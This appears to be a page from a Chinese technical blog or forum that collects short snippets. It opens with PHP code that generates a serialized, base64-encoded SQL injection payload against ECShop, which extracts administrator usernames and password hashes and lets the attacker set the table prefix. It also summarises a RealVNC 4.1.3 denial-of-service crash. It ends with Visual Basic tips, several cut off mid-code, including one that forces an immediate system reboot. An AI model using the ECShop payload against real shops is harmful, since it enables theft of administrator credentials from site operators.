【漏洞】ecshop前缀修改后的注入代码

解决ecshop数据库前缀修改后不能注入的问题 <?php $p="ecs_"; $p=isset($_REQUEST['pre'])?$_REQUEST['pre']:$p; $arr=array("1') and 1=2 GROUP BY goods_id union all select concat(user_name,0x3a,password,'\"\\') union select 1#\"'),1 from ".$p."admin_user#"=>"1"); $exp = array("attr"=>$arr);  $exp = base64_encode(serialize($exp));   //echo $exp; ?> <textarea name="textarea" id="textarea" cols="100" rows="5"><?=$exp?></textarea>

【Poc】VNC4.1.3溢出漏洞利用代码

Vulnerability............Denial-of-Service Software.................RealVNC VNC Server Free Edition 4.1.3 Download.................http://www.realvnc.com/products/free/4.1/download.html Date.....................5/2/10 Site.....................http://cross-site-scripting.blogspot.com/ Email....................john.leitch5@gmail.com ##Description# Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the exception shown below. Note: while the vulnerability is present regardless of authentication, for the sake of simplicity this script only works on servers configured to run with no authentication. winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not be written

【VB技巧】VB比较时间

msgbox DateDIff("S","2009-12-18 9:42:40","2009-12-18 9:42:45") 'S:以秒为单位;H以小时为单位;D:以天为单位;M:以月为单位;Y:以天为单位 DateDiff DateDiff: 返回 Variant (Long) 的值,表示两个指定日期间的时间间隔数目。

【VB技巧】VB播放wav资源文件

VB播放wav资源文件: Private Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (lpszSoundName As Any, ByVal uFlags As Long) As Long Private Const SND_ASYNC = &H1          '将控制权立即转让给程序 Private Const SND_NODEFAULT = &H2 '不使用缺省声音 Private Const SND_MEMORY = &H4     '指向一个内

【VB技巧】VB窗体淡入淡出效果

窗体淡入淡出效果: Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Boolean Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As

【VB技巧】VB中直接重启/强制重启

VB中直接重启/强制重启/相当于按下重启键: Private Declare Function RtlAdjustPrivilege& Lib "ntdll" (ByVal Privilege&, ByVal Newvalue&, ByVal NewThread&, Oldvalue&) Private Declare Function NtShutdownSystem& Lib "ntdll" (ByVal ShutdownAction&) Private Sub Form_Load() RtlAdjustPrivilege& 19, 1, 0, 0 NtShutdownSystem& 0 Or 2 End Sub